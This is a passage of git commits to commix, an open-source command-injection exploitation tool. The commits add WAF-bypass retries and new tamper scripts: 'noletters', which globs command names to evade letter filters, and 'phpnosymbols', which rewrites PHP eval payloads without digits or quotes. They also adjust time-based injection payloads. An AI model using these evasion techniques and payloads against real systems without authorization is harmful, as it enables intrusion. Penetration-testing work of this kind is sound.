horizontal tab is still a plain POSIX word separator and needs no such substitution. + if not end_detection and checks.injection_techniques_status() is False and \ + "space2htab" not in settings.MULTI_ENCODED_PAYLOAD: + info_msg = "Still nothing confirmed - retrying once more with the 'space2htab' tamper, " + info_msg += "in case whitespace is being filtered and '$' along with it." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.tamper = (menu.options.tamper + ",space2htab") if menu.options.tamper else "space2htab" + checks.tamper_scripts(stored_tamper_scripts=True) + _reset_web_root_detection() end_detection = _run_techniques() checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, confirmed_mark) diff --git a/src/utils/settings.py b/src/utils/settings.py index bd3ba6b99e..74c6955db5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "239" +REVISION = "240" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f76b6c4ef68ebe205027cad5b4388c9aaea88087 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 20 Oct 2026 08:47:09 +0300 Subject: [PATCH 0912/1023] Fixed post-exploitation checks against dash-filtering rules using `dashlesstest` fallback --- src/core/controller/checks.py | 10 ++++++++++ src/core/controller/controller.py | 14 ++++++++++++++ src/utils/settings.py | 2 +- 3 files changed, 25 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index bb22ed59d0..8eac3c3835 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -252,6 +252,16 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) finally: settings.SKIP_SUBST = False + # None of the above helps a filter built around a literal '-' rather than whitespace or '$' - + # every numeric 'test' this litmus writes leans on '-eq', whichever of the branches above built + # it. 'dashlesstest' already reads that the dash-free way ('=' in its place), so one more try + # with it applied is the same finding, asked a way this one filter does not catch. + if not output and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: + menu.options.tamper = (menu.options.tamper + ",dashlesstest") if menu.options.tamper else "dashlesstest" + tamper_scripts(stored_tamper_scripts=True) + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) finally: settings.TIME_RELATED_ATTACK = previous if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 2f03b50439..cf7b158df2 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1192,6 +1192,20 @@ def _reset_web_root_detection(): _reset_web_root_detection() end_detection = _run_techniques() + # Neither pass above helps a filter built around '-' rather than whitespace or '$' - every + # numeric 'test' commix writes, including the final litmus below, leans on '-eq'/'-ne' for + # it. 'dashlesstest' already reads those the dash-free way ('='/'!='), so this is the one + # case left where retrying on a tamper already built for something else solves it outright. + if not end_detection and checks.injection_techniques_status() is False and \ + "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: + info_msg = "Still nothing confirmed - retrying once more with the 'dashlesstest' tamper, " + info_msg += "in case a literal '-' is being filtered." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.tamper = (menu.options.tamper + ",dashlesstest") if menu.options.tamper else "dashlesstest" + checks.tamper_scripts(stored_tamper_scripts=True) + _reset_web_root_detection() + end_detection = _run_techniques() + checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, confirmed_mark) # All injection techniques seems to be failed! diff --git a/src/utils/settings.py b/src/utils/settings.py index 74c6955db5..6a0e779926 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "240" +REVISION = "241" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 04c4aaecefcc151d5cca1f12dd64f544347c02ab Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 20 Oct 2026 08:51:22 +0300 Subject: [PATCH 0913/1023] Trivial update --- src/core/controller/controller.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index cf7b158df2..3fb605cc1b 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1162,6 +1162,7 @@ def _reset_web_root_detection(): while not end_detection and checks.injection_techniques_status() is False and \ settings.WAF_ENABLED and checks.escalate_waf_evasion(on_block=False): settings.WAF_EVASION_ESCALATED = False + _reset_web_root_detection() end_detection = _run_techniques() # One more pass with 'space2ifs' applied - a filter that rejects any literal whitespace diff --git a/src/utils/settings.py b/src/utils/settings.py index 6a0e779926..593e658f39 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "241" +REVISION = "242" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 1425756661dea384932af70fea0d2439368f8953 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 20 Oct 2026 08:52:54 +0300 Subject: [PATCH 0914/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 18 ++++++++++++------ src/core/controller/controller.py | 9 ++++++++- src/core/main.py | 5 ++++- src/core/requests/requests.py | 8 ++++++-- src/core/techniques/time_based/tb_payloads.py | 16 +++++++++++----- src/tamper/randomcase.py | 6 +++++- src/tamper/rev.py | 6 +++++- src/utils/settings.py | 17 +---------------- 8 files changed, 52 insertions(+), 33 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 8eac3c3835..570bcfbeec 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3633,6 +3633,11 @@ def escalate_waf_evasion(on_block=True): menu.options.tamper = profile # The scripts in use are rebuilt from scratch, so the ones being replaced are not kept on. settings.MULTI_ENCODED_PAYLOAD = [] + # A whitespace-mutating tamper from the tier being replaced (e.g. 'space2ifs') claims + # 'WHITESPACES[0]' for itself and keeps it - the new tier's own one (e.g. 'space2htab') only + # takes that slot when it still holds the plain space, so left alone it just appends behind + # the stale, still-blocked substitute instead of replacing it. + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] tamper_scripts(stored_tamper_scripts=True) settings.WAF_EVASION_APPLIED = ("chunked," if menu.options.chunked else "") + profile settings.WAF_EVASION_ESCALATED = True @@ -6258,16 +6263,17 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) - oracle_hint = boolean_oracle_hint(technique) - info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - # Closes the loop the evasion messages opened - said once, the first time a finding actually - # confirms while it is active, rather than left implicit in the finding just having come through. + # Said first where this is the finding that gets a blocked run past its WAF/IPS, so the two read + # as cause then effect rather than the bypass note trailing behind the finding it explains. if settings.WAF_ENABLED and settings.WAF_EVASION_APPLIED and not settings.WAF_BYPASS_CONFIRMED: settings.WAF_BYPASS_CONFIRMED = True info_msg = "Bypassed the WAF/IPS by using the '" + settings.WAF_EVASION_APPLIED.replace(",", "', '") + "' tamper scripts." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) + oracle_hint = boolean_oracle_hint(technique) + info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload if not settings.LOAD_SESSION: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 3fb605cc1b..98c17b17ab 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1156,6 +1156,10 @@ def _reset_web_root_detection(): menu.options.web_root = False confirmed_mark = len(settings.CONFIRMED_INJECTION_POINTS) + # An escalation already handled during the heuristic test, ahead of this first pass, would + # otherwise read here as "stepped up while the technique about to run was mid-flight" - and + # send the very first technique around a second, needless time before it is even one request in. + settings.WAF_EVASION_ESCALATED = False end_detection = _run_techniques() # Nothing got through while a protection is in the way, so reach for a heavier evasion and # give the techniques another go - being blocked throughout is the answer this waits for. @@ -1549,9 +1553,12 @@ def perform_checks(url, http_request_method, filename): # Prepare whitespaces if multiple targets or stdin parsing is used, # and more than one whitespace character is defined. Keep only one. + # The literal constant is what every whitespace tamper's own reclaim check compares against - a + # URL-quoted one ('%20') never equals it, and so is never reclaimed, leaving it stuck underneath + # whatever a tamper appends instead. if (settings.MULTI_TARGETS or settings.STDIN_PARSING) and \ len(settings.WHITESPACES) > 1: - settings.WHITESPACES = [settings.single_whitespace_for()] + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] timesec = settings.TIMESEC diff --git a/src/core/main.py b/src/core/main.py index f0cc1afffa..1511544ddb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -379,7 +379,10 @@ def init_injection(url): # A whitespace chosen by a tamper suits the target it was chosen for, not the next one: start # from the default and let the tampers in use pick again, for this target's operating system. - settings.WHITESPACES = [settings.single_whitespace_for()] + # The literal constant is what every whitespace tamper's own reclaim check compares against - a + # URL-quoted one ('%20') never equals it, and so is never reclaimed, leaving it stuck underneath + # whatever a tamper appends instead. + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] if menu.options.tamper: checks.perform_payload_modification(payload="") diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b4f703e78b..fec45f38d8 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -547,11 +547,15 @@ def request_failed(err_msg): stability.mark_url_invalid() # Pacing is answered on its own: being told to slow down holds whether or not a WAF is looked for. - if str(getattr(err_msg, "code", None)) in settings.WAF_BLOCK_HTTP_CODES: + # A plain '403'-style block is what the WAF-evasion tiers above already answer, on their own + # schedule - counting it here too would race the two against each other over the same signal. + # Only a '429', or a '503' that names its own wait, is the target actually asking to be paced. + code = str(getattr(err_msg, "code", None)) + requested = retry_after_seconds(err_msg) + if code == settings.TOO_MANY_REQUESTS or (code == settings.SERVICE_UNAVAILABLE and requested is not None): stability.adapt_delay(blocked=True) # Where the target said how long to wait, that beats guessing at it - waited out once here, # while the delay between requests is what keeps the pace afterwards. - requested = retry_after_seconds(err_msg) if requested is not None and not settings.TIME_RELATED_ATTACK: waited = min(requested, settings.RATE_LIMIT_MAX_DELAY) if settings.VERBOSITY_LEVEL != 0: diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index ab7b56372c..fcfab74b3a 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -49,7 +49,7 @@ def _length_expr(word): def _ordinal_expr(word, num_of_chars): # '+' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. return ("$(printf '%d' \"'$(printf '%s' \"" + word + "\" | tail -c +" + str(num_of_chars) + - " | head -c 1; printf X)\")") + " | head -c 1" + settings.END_LINE.LF + "printf X)\")") """ The command's output, measured by the alternative interpreter. The output travels through a pipe @@ -205,11 +205,17 @@ def condition_check(separator, condition, timesec, http_request_method): if settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): """ An 'if'/'then'/'fi' block branches on a real exit status using nothing but 'test' and a - newline - where '[ condition ]' followed by reading '$?' needs a ']' and a '$', both of - which a filter that blocks command substitution outright is just as likely to block too. + statement terminator - where '[ condition ]' followed by reading '$?' needs a ']' and a '$', + both of which a filter that blocks command substitution outright is just as likely to block + too. ';', '\n' and '\r\n' all terminate a statement on their own, so the separator under test + is what glues 'if' to 'then' to 'fi' for those three - nothing else belongs in a payload built + to prove that one of them, specifically, is what chains commands here. '&' backgrounds rather + than terminates, and cannot glue the block together itself; a newline is the one thing every + one of 'then' and 'fi' needs regardless, so it is the fallback for that case alone. """ - payload = (separator + "if test " + condition + settings.END_LINE.LF + - "then sleep " + str(timesec) + settings.END_LINE.LF + "fi") + glue = separator if separator in (";", "\n", "\r\n") else settings.END_LINE.LF + payload = (separator + "if test " + condition + glue + + "then sleep " + str(timesec) + glue + "fi") elif separator in (";", "\n", "\r\n"): payload = (separator + "[ " + condition + " ]" + separator + diff --git a/src/tamper/randomcase.py b/src/tamper/randomcase.py index 88a772830f..a5073cec43 100644 --- a/src/tamper/randomcase.py +++ b/src/tamper/randomcase.py @@ -37,7 +37,11 @@ def dependencies(): # Vary the case of the payload's letters, where the shell does not care about it. def tamper(payload): mixed_case = ''.join(choice((str.upper, str.lower))(char) for char in settings.USER_APPLIED_CMD) - if settings.EXPLOITATION_PHASE: + # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise + # insert the obfuscated-empty-string construct between every character of the payload - a + # verification litmus built after a finding confirms (and so after exploitation phase starts) + # has no command of its own to case-randomize at all. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: if settings.TAMPER_SCRIPTS["rev"]: if settings.USE_BACKTICKS: mixed_case = mixed_case[::-1] + "|rev" diff --git a/src/tamper/rev.py b/src/tamper/rev.py index 5e08793ebd..52291f0d5a 100644 --- a/src/tamper/rev.py +++ b/src/tamper/rev.py @@ -35,7 +35,11 @@ def dependencies(): # Hand the command over reversed, for the target to turn back with 'rev'. def tamper(payload): - if settings.EXPLOITATION_PHASE: + # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise + # insert the reversed-empty-string construct between every character of the payload - a + # verification litmus built after a finding confirms (and so after exploitation phase starts) + # has no command of its own to reverse at all. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD if settings.USER_APPLIED_CMD in source: if settings.USE_BACKTICKS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 593e658f39..170e97742e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "242" +REVISION = "243" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -885,21 +885,6 @@ class OS(object): # The default whitespace, as a space - encoded with the rest of the payload at the end. WHITESPACES = [SINGLE_WHITESPACE] -""" -The one whitespace a run with several targets uses, chosen for what carries the payload. - -Where the carrier is URL-decoded by the target, the encoded form is what survives being spliced into -it. A JSON or XML body is not decoded, and there '%20' arrives as three characters rather than as the -space the command needs - so a body of that shape keeps the space it was written with. -""" -def single_whitespace_for(data=None): - from src.thirdparty.six.moves import urllib as _urllib - from src.core.controller import checks - body = data if data is not None else USER_DEFINED_POST_DATA - if body and (checks.is_JSON_check(body) or checks.is_XML_check(body)): - return SINGLE_WHITESPACE - return _urllib.parse.quote(SINGLE_WHITESPACE) - # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" From 7256d3f5b5b19d1f821426795f6953c70bcbf977 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 21 Oct 2026 09:41:22 +0300 Subject: [PATCH 0915/1023] Added new tamper script `noletters.py`, globbing a bare command name for targets blocking every letter --- doc/CHANGELOG.md | 1 + src/tamper/noletters.py | 69 +++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 11 +++++-- 3 files changed, 78 insertions(+), 3 deletions(-) create mode 100644 src/tamper/noletters.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0c2a5ffeb4..ed3aa6b8a9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `noletters.py`, globbing a bare command name for targets blocking every letter. * Added: The out-of-band channel now falls back through five more public interactsh servers if `oast.fun` does not answer. * Added: The out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup`. * Added: New options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size). diff --git a/src/tamper/noletters.py b/src/tamper/noletters.py new file mode 100644 index 0000000000..fca8b6b146 --- /dev/null +++ b/src/tamper/noletters.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites a bare command name in a given payload as a filename glob of the same length ('echo' -> '/???/????'), resolved by the shell against '/bin' rather than typed as a word. +Notes: This only reaches a target whose '/bin' holds exactly one file of that length - every POSIX + shell keyword capable of trying more than one candidate ('for', 'while', 'case', 'set') is + itself spelled in letters a filter blocking all of them also blocks, so an ambiguous match + (several files sharing the word's length) is left as the glob and fails outright. Only a + bare name is rewritten, the same restriction 'cmd2wildcard' documents for a path already + written out in full - this script's own job starts where that one's leaves off. +Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "noletters" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + # 'tamper_shell_spans' reads quoting the way a shell does, which an evaluated language's own + # string/call syntax is not - a payload for '--eval' would come back with its own calls globbed. + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +# A bare command name: letters only, not a path, not a variable or quoted word already. +NOLETTERS_WORD = r"(?<![\w$'\"\\{#=/.-])[A-Za-z]{2,}(?![\w=.'\"-])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _glob(match): + """ + One word written as the glob the shell expands against '/bin' and runs, or left as it was. + + A word the shell has to read exactly as it was written is left alone, for the reason + 'tamper_word_kept' gives - it would no longer be itself once a glob stood in its place. + """ + word = match.group(0) + if checks.tamper_word_kept(word, match.string[:match.start()]): + return word + return "/???/" + "?" * len(word) + +# Every bare command name in one span of shell code, written as a glob of the same length. +def _glob_words(text, nested): + return re.sub(NOLETTERS_WORD, _glob, text) + +# Hand the command name over as a glob, for the target's shell to resolve against '/bin'. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' globs nothing on its own. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _glob_words) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 170e97742e..c1f46430d8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "243" +REVISION = "244" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1862,7 +1862,8 @@ class AUTH_TYPE(object): "randomcase": False, "rev": False, "cmd2loop": False, - "dashlesstest": False + "dashlesstest": False, + "noletters": False } # Execution priority for tamper scripts; each script defines its own __priority__. @@ -1972,7 +1973,11 @@ class PRIORITY(object): ("cmd2wildcard", "rev"), ("cmd2wildcard", "randomcase"), ("cmd2var", "rev"), - ("cmd2var", "randomcase") + ("cmd2var", "randomcase"), + # A bare name is glob territory, not a path to wildcard or a command to garble. + ("noletters", "cmd2wildcard"), + ("noletters", "rev"), + ("noletters", "randomcase") ] # Words that must survive per-character obfuscation - shell keywords stop being keywords once From 65f25d39b6fa1cff6bebfbe1f2cd3a2fb05fb322 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 22 Oct 2026 08:29:36 +0300 Subject: [PATCH 0916/1023] Fixed PHP code injection statement closure in `--eval=php` and added the `phpnosymbols.py` tamper script to bypass filters blocking digits and quotes. --- doc/CHANGELOG.md | 2 + src/core/eval/grammars/php.py | 10 ++-- src/core/eval/payloads/boolean_based.py | 5 +- src/core/eval/payloads/tempfile_based.py | 5 +- src/core/eval/payloads/time_based.py | 5 +- src/core/requests/requests.py | 14 +++-- src/tamper/phpnosymbols.py | 72 ++++++++++++++++++++++++ src/utils/settings.py | 5 +- 8 files changed, 101 insertions(+), 17 deletions(-) create mode 100644 src/tamper/phpnosymbols.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ed3aa6b8a9..1a5f4df120 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Fixed: PHP code injection (`--eval=php`) not closing its own statement at the default level. +* Added: New tamper script `phpnosymbols.py`, rewriting a PHP eval-sink payload for filters blocking digits and quotes. * Added: New tamper script `noletters.py`, globbing a bare command name for targets blocking every letter. * Added: The out-of-band channel now falls back through five more public interactsh servers if `oast.fun` does not answer. * Added: The out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup`. diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index cc6cc90a31..d84e073709 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -59,12 +59,14 @@ SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] -# Concatenation, concatenation out of a single-quoted string, and variable-variable interpolation. -PREFIXES_LVL1 = [".", "'.", "{${"] +# No wrapping at all, the way every other language here starts its own list - the value reaching +# the sink whole is the simplest shape and the likeliest, not something worth leaving for level 3. +# Then concatenation, concatenation out of a single-quoted string, and variable-variable interpolation. +PREFIXES_LVL1 = ["", ".", "'.", "{${"] # Closing a call the value sits inside, and interpolation from within a double-quoted string. PREFIXES_LVL2 = PREFIXES_LVL1 + [")'}", "');}", "\".", "${"] # Ending the statement outright, and leaving a comment the value was written into. -PREFIXES_LVL3 = PREFIXES_LVL2 + ["')", "\")", ");}", "\");}", ")", ";", "'", "\";", "';", "*/", ""] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["')", "\")", ");}", "\");}", ")", ";", "'", "\";", "';", "*/"] SUFFIXES_LVL1 = [ "", ".'", "}}"] # Closing the interpolation, and commenting out whatever the application appends behind it. @@ -79,7 +81,7 @@ """ def print_statement(separator, commands, chain=None): if separator == "": - return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + TERMINATOR return "print(`" + (chain or separator).join(commands) + "`)" + TERMINATOR """ diff --git a/src/core/eval/payloads/boolean_based.py b/src/core/eval/payloads/boolean_based.py index d72bd7003a..4812b2a792 100644 --- a/src/core/eval/payloads/boolean_based.py +++ b/src/core/eval/payloads/boolean_based.py @@ -19,9 +19,10 @@ def _output(cmd): return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) -# A statement terminator, where the boundary being tested can carry one. +# A statement terminator - a halt()-built condition is its own complete statement regardless of +# the OS-shell separator under test, which is a different chain this one never joins. def _end(separator): - return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + return settings.EVAL_GRAMMAR.TERMINATOR # Stated in the shell's spelling by every caller, so it is rewritten into the language's here. def _as_expression(condition): diff --git a/src/core/eval/payloads/tempfile_based.py b/src/core/eval/payloads/tempfile_based.py index 3a60d22472..a6d21ca865 100644 --- a/src/core/eval/payloads/tempfile_based.py +++ b/src/core/eval/payloads/tempfile_based.py @@ -32,9 +32,10 @@ def _write(cmd, OUTPUT_TEXTFILE): def _contents(OUTPUT_TEXTFILE): return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.read_file(OUTPUT_TEXTFILE)) -# A statement terminator, where the boundary being tested can carry one. +# A statement terminator - a halt()/delay()-built expression is its own complete statement +# regardless of the OS-shell separator under test, which is a different chain this one never joins. def _end(separator): - return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + return settings.EVAL_GRAMMAR.TERMINATOR # Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. def _conditional_sleep(condition, timesec, separator): diff --git a/src/core/eval/payloads/time_based.py b/src/core/eval/payloads/time_based.py index d0cc775c77..ad350de38b 100644 --- a/src/core/eval/payloads/time_based.py +++ b/src/core/eval/payloads/time_based.py @@ -29,9 +29,10 @@ def _output(cmd): return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) -# A statement terminator, where the boundary being tested can carry one. +# A statement terminator - a delay()-built sleep is its own complete statement regardless of +# the OS-shell separator under test, which is a different chain this one never joins. def _end(separator): - return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + return settings.EVAL_GRAMMAR.TERMINATOR # Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. def _conditional_sleep(condition, timesec, separator): diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index fec45f38d8..54134d9c32 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -123,17 +123,21 @@ def _sample(request=None, response=None): settings.PAGE_STABLE = status == "stable" # Said before the work it decides, so the answer is given with the reason for it still on screen. - if not settings.PAGE_STABLE and not settings.UNSTABLE_PROMPTED: - settings.UNSTABLE_PROMPTED = True + # 'PAGE_STABLE' is freshly computed every call, so this is said again for every target it is + # true of; the choice right after it is the user's to make once, not per target - 'UNSTABLE_ + # PROMPTED' is what is carried over, so a later target gets the warning without being asked again. + if not settings.PAGE_STABLE: # What happened, what is done about it, and what to reach for when the results read wrong. warn_msg = "Target URL content is not stable (i.e. content differs). Page comparison is based " warn_msg += "on a sequence matcher, with the parts that move on their own left out. If no " warn_msg += "dynamic nor injectable parameter is detected, or in case of junk results, give " warn_msg += "it a go with the switch '--text-only'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(q)uit] " - if common.read_input(message, default="C", check_batch=True) in settings.CHOICE_QUIT: - raise SystemExit(settings.EXIT_FAILURE) + if not settings.UNSTABLE_PROMPTED: + settings.UNSTABLE_PROMPTED = True + message = "How do you want to proceed? [(C)ontinue/(q)uit] " + if common.read_input(message, default="C", check_batch=True) in settings.CHOICE_QUIT: + raise SystemExit(settings.EXIT_FAILURE) """ The two samples are of the same request, so whatever differs between them is the page moving on diff --git a/src/tamper/phpnosymbols.py b/src/tamper/phpnosymbols.py new file mode 100644 index 0000000000..ed41b2d317 --- /dev/null +++ b/src/tamper/phpnosymbols.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Rewrites the three places a PHP eval-sink payload still carries a digit, a quote or a semicolon, for a target rejecting all three at once (along with '$' and '_', which the payload never needed in the first place). +Notes: This tamper script works against target(s) evaluating PHP (i.e. option '--eval=php'). + A literal integer becomes a parenthesised sum of 'true' added to itself, since a boolean is an + integer the moment arithmetic or a comparison is done on it; the empty string a halted + condition answers with becomes the keyword 'NULL', read back by '.' concatenation as the same + nothing a quoted empty string would; a trailing statement terminator becomes a closing PHP tag, + which ends a statement exactly as a semicolon would and needs none of its own. None of the + three touches a backtick-run shell command - a digit or a space in there is that technique's + own concern, left to a tamper such as 'space2htab' to answer for. +Reference: https://ctftime.org/writeup/40411 +""" + +__tamper__ = "phpnosymbols" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# A literal integer, spelled as that many 'true's added together - still an integer the moment +# anything arithmetic or comparative is done with it, and never a digit on the way there. +def _digitless(match): + return "(" + "+".join(["true"] * int(match.group(0))) + ")" + +_INTEGER_LITERAL = re.compile(r"\d+") +_EMPTY_STRING = re.compile(r"\?(?:\"\"|'')\:exit\(\)") + +# One run of PHP-level code - never what a backtick-quoted shell command is written in. +def _rewrite_php_span(span): + span = _INTEGER_LITERAL.sub(_digitless, span) + span = _EMPTY_STRING.sub("?NULL:exit()", span) + return span + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "php": + return payload + # Backticks alternate PHP-level code with the shell command it runs - odd positions are the + # commands themselves, left exactly as every other tamper script already left them. + parts = payload.split("`") + for index in range(0, len(parts), 2): + parts[index] = _rewrite_php_span(parts[index]) + payload = "`".join(parts) + # The grammar's own statement terminator, said only once and only at the very end - a closing + # PHP tag ends the statement it follows exactly as that character would, and reopening it is + # only needed where something is meant to run after it, which 